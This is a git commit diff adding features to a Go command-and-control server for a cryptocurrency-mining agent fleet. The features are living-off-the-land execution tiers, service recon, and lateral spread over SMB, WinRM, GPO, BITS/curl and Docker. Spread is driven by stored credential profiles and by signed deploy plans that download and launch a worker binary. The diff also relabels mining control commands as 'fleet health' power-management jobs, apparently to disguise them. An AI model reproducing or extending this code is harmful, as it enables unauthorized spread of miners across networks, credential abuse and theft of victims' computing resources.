Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -28,6 +28,8 @@ type Config struct {
Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"`
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
}
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
@@ -66,6 +68,30 @@ type ServerSettings struct {
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
PublicBuildsEnabled bool `json:"public_builds_enabled"`
PublicBuildsLatestN int `json:"public_builds_latest_n"`
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
// agents forged with lotl_policy_from_server (LOTL Onion preset).
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
}
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"`
Priority int `json:"priority,omitempty"`
Template string `json:"template,omitempty"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
@@ -230,6 +256,11 @@ func DefaultConfig() *Config {
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
PublicBuildsLatestN: 3,
LotlOnionTiers: []string{
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"smb", "winrm", "linux", "gpo",
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
},
}
}
@@ -900,6 +931,16 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
}
}
if has("deployment_credentials") {
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
for i := range dst.DeploymentCredentials {
EnsureCredProfileID(&dst.DeploymentCredentials[i])
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
}
}
}
// Keep cloudflared default aligned with public_url when unset.
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
@@ -919,6 +960,20 @@ func (c *Config) Save() error {
return nil
}
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
return map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
"com.docker.service": {Lane: "docker_load", Priority: 20},
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
}
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {

View File

@@ -0,0 +1,74 @@
package main
import (
"sync"
apipkg "crypto-miner-server/internal/api"
dbpkg "crypto-miner-server/internal/db"
)
// configSpreadCredAdapter exposes Calibrate deployment credentials to spread-cred APIs.
type configSpreadCredAdapter struct {
mu sync.RWMutex
cfg *Config
}
func newConfigSpreadCredAdapter(cfg *Config) *configSpreadCredAdapter {
return &configSpreadCredAdapter{cfg: cfg}
}
func (a *configSpreadCredAdapter) setConfig(cfg *Config) {
a.mu.Lock()
a.cfg = cfg
a.mu.Unlock()
}
func (a *configSpreadCredAdapter) snapshot() *Config {
a.mu.RLock()
defer a.mu.RUnlock()
return a.cfg
}
func (a *configSpreadCredAdapter) DeploymentProfiles() []apipkg.DeploymentCredProfile {
cfg := a.snapshot()
if cfg == nil {
return nil
}
out := make([]apipkg.DeploymentCredProfile, 0, len(cfg.DeploymentCredentials))
for _, p := range cfg.DeploymentCredentials {
EnsureCredProfileID(&p)
out = append(out, apipkg.DeploymentCredProfile{
ID: p.ID,
Label: p.Label,
Username: p.Username,
VaultRef: p.VaultRef,
})
}
return out
}
func (a *configSpreadCredAdapter) OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []apipkg.DeploymentCredProfile {
cfg := a.snapshot()
if cfg == nil {
return nil
}
ordered := cfg.OrderDeploymentCredProfiles(affinity)
out := make([]apipkg.DeploymentCredProfile, 0, len(ordered))
for _, p := range ordered {
out = append(out, apipkg.DeploymentCredProfile{
ID: p.ID,
Label: p.Label,
Username: p.Username,
VaultRef: p.VaultRef,
})
}
return out
}
func (a *configSpreadCredAdapter) LoadProfileSecret(profileID string) (string, string, error) {
cfg := a.snapshot()
if cfg == nil {
return "", "", nil
}
return cfg.LoadDeploymentCredPassword(profileID)
}

113
server/deployment_creds.go Normal file
View File

@@ -0,0 +1,113 @@
package main
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
const deploymentCredsDir = "deployment-creds"
// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only).
// Password material lives in the vault file referenced by VaultRef — never in config.json logs.
type DeploymentCredProfile struct {
ID string `json:"id"`
Label string `json:"label"`
Username string `json:"username"`
VaultRef string `json:"vault_ref,omitempty"`
}
type deploymentCredVault struct {
Password string `json:"password"`
}
// EnsureCredProfileID assigns a stable hash ref when the operator omits id.
func EnsureCredProfileID(p *DeploymentCredProfile) {
if p == nil {
return
}
if strings.TrimSpace(p.ID) != "" {
p.ID = strings.TrimSpace(p.ID)
return
}
sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef)))
p.ID = hex.EncodeToString(sum[:8])
}
func defaultVaultRef(profileID string) string {
return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault"))
}
// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file).
func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string {
ref := strings.TrimSpace(p.VaultRef)
if ref == "" {
ref = defaultVaultRef(p.ID)
}
ref = filepath.Clean(ref)
if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) {
ref = defaultVaultRef(p.ID)
}
return filepath.Join(c.DataDir, ref)
}
// LoadDeploymentCredPassword reads the vault secret for an authorized profile.
func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) {
if c == nil {
return "", "", fmt.Errorf("config unavailable")
}
profileID = strings.TrimSpace(profileID)
for _, p := range c.DeploymentCredentials {
if strings.TrimSpace(p.ID) != profileID {
continue
}
path := c.ResolveCredVaultPath(p)
data, readErr := os.ReadFile(path)
if readErr != nil {
return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr)
}
var vault deploymentCredVault
if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil {
// Allow plain-text vault files (cloudflared-token pattern).
vault.Password = strings.TrimSpace(string(data))
}
pw := strings.TrimSpace(vault.Password)
if pw == "" {
return "", "", fmt.Errorf("vault empty for profile %s", profileID)
}
return strings.TrimSpace(p.Username), pw, nil
}
return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID)
}
// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first.
func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
if c == nil || len(c.DeploymentCredentials) == 0 {
return nil
}
seen := make(map[string]bool)
var ordered []DeploymentCredProfile
for _, row := range affinity {
for _, p := range c.DeploymentCredentials {
if p.ID == row.CredentialProfileID && !seen[p.ID] {
ordered = append(ordered, p)
seen[p.ID] = true
break
}
}
}
for _, p := range c.DeploymentCredentials {
EnsureCredProfileID(&p)
if !seen[p.ID] {
ordered = append(ordered, p)
seen[p.ID] = true
}
}
return ordered
}

View File

@@ -0,0 +1,69 @@
package main
import (
"os"
"path/filepath"
"testing"
dbpkg "crypto-miner-server/internal/db"
)
func TestOrderDeploymentCredProfiles_Affinity(t *testing.T) {
cfg := &Config{
DeploymentCredentials: []DeploymentCredProfile{
{ID: "profile-a", Label: "A", Username: "lab\\a"},
{ID: "profile-b", Label: "B", Username: "lab\\b"},
{ID: "profile-c", Label: "C", Username: "lab\\c"},
},
}
affinity := []dbpkg.CredProfileAffinity{
{CredentialProfileID: "profile-b", SuccessCount: 3},
{CredentialProfileID: "profile-a", SuccessCount: 1},
}
ordered := cfg.OrderDeploymentCredProfiles(affinity)
if len(ordered) != 3 {
t.Fatalf("expected 3 profiles, got %d", len(ordered))
}
if ordered[0].ID != "profile-b" || ordered[1].ID != "profile-a" || ordered[2].ID != "profile-c" {
t.Fatalf("affinity order mismatch: %#v", ordered)
}
}
func TestEnsureCredProfileID_Stable(t *testing.T) {
p := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
EnsureCredProfileID(&p)
if p.ID == "" {
t.Fatal("expected derived profile id")
}
p2 := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
EnsureCredProfileID(&p2)
if p.ID != p2.ID {
t.Fatalf("expected stable id, got %s vs %s", p.ID, p2.ID)
}
}
func TestLoadDeploymentCredPasswordFromVault(t *testing.T) {
dataDir := t.TempDir()
vaultDir := filepath.Join(dataDir, "deployment-creds")
if err := os.MkdirAll(vaultDir, 0700); err != nil {
t.Fatal(err)
}
vaultPath := filepath.Join(vaultDir, "lab.vault")
if err := os.WriteFile(vaultPath, []byte(`{"password":"vault-secret"}`), 0600); err != nil {
t.Fatal(err)
}
cfg := &Config{
DataDir: dataDir,
DeploymentCredentials: []DeploymentCredProfile{
{ID: "lab", Label: "Lab", Username: `corp\admin`, VaultRef: "deployment-creds/lab.vault"},
},
}
user, pass, err := cfg.LoadDeploymentCredPassword("lab")
if err != nil {
t.Fatal(err)
}
if user != `corp\admin` || pass != "vault-secret" {
t.Fatalf("unexpected vault load: %q / %q", user, pass)
}
}

View File

@@ -0,0 +1,75 @@
package api
import (
"testing"
"time"
)
func resetAgentWSRateLim(t *testing.T) {
t.Helper()
agentWSRateLim.mu.Lock()
agentWSRateLim.attempts = make(map[string][]time.Time)
agentWSRateLim.mu.Unlock()
}
func TestAllowAgentWSUpgradeRateLimit(t *testing.T) {
t.Run("rejects 31st attempt within window", func(t *testing.T) {
resetAgentWSRateLim(t)
ip := "203.0.113.42"
for i := 1; i <= agentWSRateLimitMax; i++ {
if !allowAgentWSUpgrade(ip) {
t.Fatalf("attempt %d: expected allow, got reject", i)
}
}
if allowAgentWSUpgrade(ip) {
t.Fatal("31st attempt: expected reject, got allow")
}
if allowAgentWSUpgrade(ip) {
t.Fatal("32nd attempt: expected reject, got allow")
}
})
t.Run("empty IP bypasses limit", func(t *testing.T) {
resetAgentWSRateLim(t)
for i := 1; i <= agentWSRateLimitMax+5; i++ {
if !allowAgentWSUpgrade("") {
t.Fatalf("empty IP attempt %d: expected allow, got reject", i)
}
}
})
t.Run("stale attempts outside window are pruned", func(t *testing.T) {
resetAgentWSRateLim(t)
ip := "198.51.100.7"
stale := time.Now().Add(-agentWSRateLimitWindow - time.Second)
agentWSRateLim.mu.Lock()
staleAttempts := make([]time.Time, agentWSRateLimitMax)
for i := range staleAttempts {
staleAttempts[i] = stale
}
agentWSRateLim.attempts[ip] = staleAttempts
agentWSRateLim.mu.Unlock()
if !allowAgentWSUpgrade(ip) {
t.Fatal("expected allow after stale attempts pruned")
}
})
t.Run("different IPs have independent limits", func(t *testing.T) {
resetAgentWSRateLim(t)
ipA := "192.0.2.1"
ipB := "192.0.2.2"
for i := 1; i <= agentWSRateLimitMax; i++ {
if !allowAgentWSUpgrade(ipA) {
t.Fatalf("ipA attempt %d: expected allow, got reject", i)
}
}
if !allowAgentWSUpgrade(ipB) {
t.Fatal("ipB first attempt: expected allow after ipA exhausted")
}
})
}

View File

@@ -0,0 +1,332 @@
package api
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
type StagingManifest struct {
Method string `json:"method"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
}
type deployPlanRequest struct {
AgentID string `json:"agent_id"`
BuildID string `json:"build_id,omitempty"`
Campaign string `json:"campaign,omitempty"`
Platform string `json:"platform"`
Services []DeployServiceFinding `json:"services"`
UNCPath string `json:"unc_path,omitempty"`
}
type deployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
type DeployPlanHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
return &DeployPlanHandler{
db: database,
dataDir: dataDir,
projectRoot: projectRoot,
publicURL: publicURL,
fleetSecret: fleetSecret,
allowlist: allowlist,
}
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if len(req.Services) == 0 {
http.Error(w, "services required", http.StatusBadRequest)
return
}
list := map[string]ServiceDeployLane{}
if h.allowlist != nil {
list = h.allowlist()
}
matched, lane, ok := PickDeployLane(req.Services, list)
if !ok {
writeJSON(w, map[string]interface{}{
"ok": false,
"error": "no allowlisted running services matched",
"checked": len(req.Services),
})
return
}
plan, err := h.buildPlan(req, matched, lane)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
sig, err := signDeployPlan(plan, h.fleetSecret())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, deployPlanResponse{
OK: true,
JoinLane: plan.JoinLane,
MatchedService: matched,
Plan: plan,
Signature: sig,
})
}
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
body := DeployPlanBody{
JoinLane: lane.Lane,
MatchedService: matched,
Action: lane.Lane,
}
switch lane.Lane {
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
case "docker_load":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
if body.ImageTarURL != "" && req.BuildID != "" {
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
body.ImageTarSHA256 = hash
}
}
case "winrm", "gpo", "linux_lotl":
tpl := strings.TrimSpace(lane.Template)
if tpl == "" {
tpl = lane.Lane
}
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
if err != nil {
return DeployPlanBody{}, err
}
body.Script = script
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
return body, nil
}
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
method := "bits"
if platform == "linux" || platform == "darwin" {
method = "curl"
}
dest := `%TEMP%\AetherForge\worker.exe`
if platform == "linux" {
dest = "/tmp/aetherforge-worker"
}
return &StagingManifest{
Method: method,
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: "exe",
DeferMining: true,
SpreadInstall: true,
}, nil
}
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
b, err := h.db.GetBuild(buildID)
if err != nil {
return nil, err
}
return b, nil
}
b, err := h.db.GetLatestBuildForPlatform(platform)
if err != nil {
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
}
return b, nil
}
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
b, err := h.resolveBuild(buildID, platform)
if err != nil {
return "", err
}
return fileSHA256(b.FilePath)
}
func fileSHA256(path string) (string, error) {
f, err := os.Open(path)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
subdir, _, err := spreadTemplatePaths(template)
if err != nil {
return "", err
}
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
entries, err := os.ReadDir(dir)
if err != nil {
return "", fmt.Errorf("template dir: %w", err)
}
var scriptFile string
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
scriptFile = filepath.Join(dir, name)
break
}
}
if scriptFile == "" {
return "", fmt.Errorf("no script in template %s", subdir)
}
data, err := os.ReadFile(scriptFile)
if err != nil {
return "", err
}
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
repl := map[string]string{
"{{SERVER_URL}}": serverURL,
"{{BUILD_ID}}": buildID,
"{{CAMPAIGN}}": campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": "false",
"{{LOTL_MODE}}": "systemd_run_user",
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
return content, nil
}
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
if fleetSecret == "" {
return "", fmt.Errorf("fleet secret not configured")
}
payload, err := json.Marshal(plan)
if err != nil {
return "", err
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
return hex.EncodeToString(mac.Sum(nil)), nil
}
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}

View File

@@ -554,6 +554,22 @@ type bulkCommandRequest struct {
Command string `json:"command,omitempty"`
}
// bulkCommandMeta adds fleet-health / power-management labels for mining control actions.
func bulkCommandMeta(action string) (category, label string) {
switch action {
case "pause":
return "power_management", "Power down hashing (fleet health job)"
case "resume":
return "power_management", "Restore hashing (fleet health job)"
case "restart":
return "power_management", "Restart mining workload"
case "stop":
return "power_management", "Stop agent process"
default:
return "", ""
}
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
@@ -590,12 +606,17 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
sent++
}
}
writeJSON(w, map[string]interface{}{
resp := map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
if category, label := bulkCommandMeta(req.Action); category != "" {
resp["category"] = category
resp["label"] = label
}
writeJSON(w, resp)
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).

View File

@@ -875,6 +875,29 @@ func TestFleetPostBulkCommandPartialSuccess(t *testing.T) {
}
}
func TestFleetPostBulkCommandPowerManagementMeta(t *testing.T) {
fh, _, ws, _ := newTestFleetHandler(t)
connectTestAgent(t, ws, "pm-agent")
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
strings.NewReader(`{"agent_ids":["pm-agent"],"action":"pause"}`))
fh.PostBulkCommand(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["category"] != "power_management" {
t.Fatalf("category = %v", body["category"])
}
if body["label"] != "Power down hashing (fleet health job)" {
t.Fatalf("label = %v", body["label"])
}
}
func TestFleetMinHelper(t *testing.T) {
if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 {
t.Fatal("min helper wrong")

View File

@@ -4,6 +4,7 @@ import (
"encoding/json"
"net/http"
"strconv"
"strings"
"time"
"crypto-miner-server/internal/db"
@@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
}
// GET /api/v1/agents
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
agents, err := h.db.ListAgents()
filter, paginated := parseAgentListFilter(r)
agents, err := h.db.ListAgentsFiltered(filter)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
@@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
if agents == nil {
agents = []*models.Agent{}
}
writeJSON(w, agents)
if !paginated {
writeJSON(w, agents)
return
}
total, err := h.db.CountAgentsFiltered(filter)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"agents": agents,
"total": total,
"limit": filter.Limit,
"offset": filter.Offset,
})
}
const (
agentListDefaultLimit = 100
agentListMaxLimit = 2000
)
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
limitStr := r.URL.Query().Get("limit")
if limitStr == "" {
return db.AgentListFilter{}, false
}
limit, err := strconv.Atoi(limitStr)
if err != nil || limit <= 0 {
limit = agentListDefaultLimit
}
if limit > agentListMaxLimit {
limit = agentListMaxLimit
}
offset := 0
if offStr := r.URL.Query().Get("offset"); offStr != "" {
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
offset = o
}
}
status := strings.TrimSpace(r.URL.Query().Get("status"))
if status != "online" && status != "offline" {
status = ""
}
return db.AgentListFilter{
Limit: limit,
Offset: offset,
Status: status,
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
}, true
}
// GET /api/v1/agents/{id}

View File

@@ -2,6 +2,7 @@ package api
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"testing"
@@ -57,6 +58,71 @@ func TestListAgentsEmptyArray(t *testing.T) {
}
}
func TestListAgentsPaginated(t *testing.T) {
h := newTestHandler(t)
for i := 0; i < 5; i++ {
if err := h.db.UpsertAgent(&models.Agent{
ID: fmt.Sprintf("agent-%d", i), Name: "n", Status: "online",
}); err != nil {
t.Fatal(err)
}
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=2&offset=1", nil)
rec := httptest.NewRecorder()
h.ListAgents(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var body struct {
Agents []json.RawMessage `json:"agents"`
Total int `json:"total"`
Limit int `json:"limit"`
Offset int `json:"offset"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if len(body.Agents) != 2 || body.Total != 5 || body.Limit != 2 || body.Offset != 1 {
t.Fatalf("unexpected paginated body: %+v", body)
}
}
func TestListAgentsSubnetFilter(t *testing.T) {
h := newTestHandler(t)
agents := []struct {
id, ip string
}{
{"subnet-a", "10.0.1.10"},
{"subnet-b", "10.0.2.20"},
{"subnet-c", "192.168.1.5"},
}
for _, a := range agents {
if err := h.db.UpsertAgent(&models.Agent{
ID: a.id, Name: a.id, IP: a.ip, Status: "online",
}); err != nil {
t.Fatal(err)
}
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=50&subnet=10.0.1.x", nil)
rec := httptest.NewRecorder()
h.ListAgents(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var body struct {
Agents []struct {
ID string `json:"id"`
} `json:"agents"`
Total int `json:"total"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body.Total != 1 || len(body.Agents) != 1 || body.Agents[0].ID != "subnet-a" {
t.Fatalf("unexpected subnet filter body: %+v", body)
}
}
func TestGetAgentStatsLimitCap(t *testing.T) {
h := newTestHandler(t)
req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil)

View File

@@ -5,10 +5,12 @@ import (
"encoding/json"
"errors"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"time"
@@ -78,7 +80,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -96,6 +98,130 @@ func serveAuthed(t *testing.T, router http.Handler, method, path string, body []
return rec
}
func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
t.Helper()
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
req.Header.Set("Content-Type", contentType)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func integrationWorkspaceRoot(t *testing.T) string {
t.Helper()
dir, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
for i := 0; i < 10; i++ {
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
return dir
}
}
parent := filepath.Dir(dir)
if parent == dir {
break
}
dir = parent
}
t.Skip("workspace root (agent/ and fusion/) not found")
return ""
}
func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
t.Helper()
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatalf("db: %v", err)
}
t.Cleanup(func() { database.Close() })
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
